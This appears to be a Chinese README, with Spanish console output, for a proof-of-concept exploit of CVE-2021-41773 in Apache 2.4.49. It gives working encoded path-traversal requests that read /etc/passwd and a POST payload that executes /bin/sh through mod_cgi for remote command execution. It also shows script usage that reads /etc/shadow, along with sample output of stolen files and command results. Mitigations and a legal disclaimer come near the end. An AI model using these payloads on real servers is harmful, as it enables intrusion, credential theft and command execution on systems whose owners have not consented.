仅限在受控且自有的环境中使用。未经授权不得针对任何系统使用。
本 PoC 用于演示和理解 CVE-2021-41773 漏洞,该漏洞存在于 Apache HTTP Server 2.4.49 中。
该缺陷位于 ap_normalize_path() 函数中,该函数未正确验证 URL 编码的字符。攻击者可以通过编码后的字符序列(例如使用 %2e%2e%2f 代替 ../)绕过 DocumentRoot 限制,从而读取系统中的任意文件。
当 mod_cgi 模块启用时,该漏洞可升级为 RCE(远程代码执行),允许攻击者直接以 Apache 进程的权限在服务器上执行命令。
服务器必须 同时满足 以下所有条件才存在漏洞:
| 条件 | 详情 |
|---|---|
| Apache 版本 | 严格为 2.4.49 |
| 访问指令 | 配置中设置了 Require all granted |
| CGI 模块 | 启用 mod_cgi(仅针对 RCE) |
Apache 2.4.49 过滤了经典的 ../,但未过滤其 URL 编码形式。攻击者构造一个过滤器无法检测、但操作系统能正确解析的路径:
GET /cgi-bin/%2e%2e%f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f 是 ../ 的 URL 编码。Apache 放行该路径,操作系统解析后,攻击者便能访问 web 目录之外的文件。
当 mod_cgi 启用时,路径穿越被用于指向 /bin/sh 而不是普通文件。Apache 将其视为 CGI 脚本并执行。命令通过 POST 请求体以最小 shell 脚本形式传递:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
命令的输出将出现在 HTTP 响应中。
最干净的重现方式是通过 Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
或者手动创建一个带有漏洞配置的 Apache 2.4.49 镜像:
<Directory />
Require all granted
</Directory>
我将留下我测试时使用的配置文件。
为何使用 urllib3 而非 requests?
requests 会在发送前自动重新编码路径中的字符,从而导致服务器收到 %252e 而非 %2e,破坏 payload。
urllib3 允许原样发送路径而不做修改。
为何使用 .%2e/ 而非 %2e%2e/?
Apache 的 mod_rewrite 模块会过滤 %2e%2e/。
变体 .%2e/ 语义上等价但能绕过过滤,因为路径规范化发生在验证之后。
mod_cgi 模块,RCE 模式才能生效。否则仅能进行路径穿越。python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <命令>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 或更高版本。Require all denied。mod_cgi 模块。⚠️ 本仓库仅用于教育目的。
在未经明确授权的情况下使用此攻击脚本针对任何系统均属违法行为。
仅在本地受控环境中进行过测试。
该 PoC 是为安全攻防作品集而开发的教育性工具。
| 参数 | 必填 | 描述 |
|---|
--target | 是 | 服务器的基础 URL(例如 http://localhost:8080) |
--mode | 是 | traversal 用于读取文件,rce 用于执行命令 |
--cmd | 否 | RCE 模式下要执行的命令(默认:id) |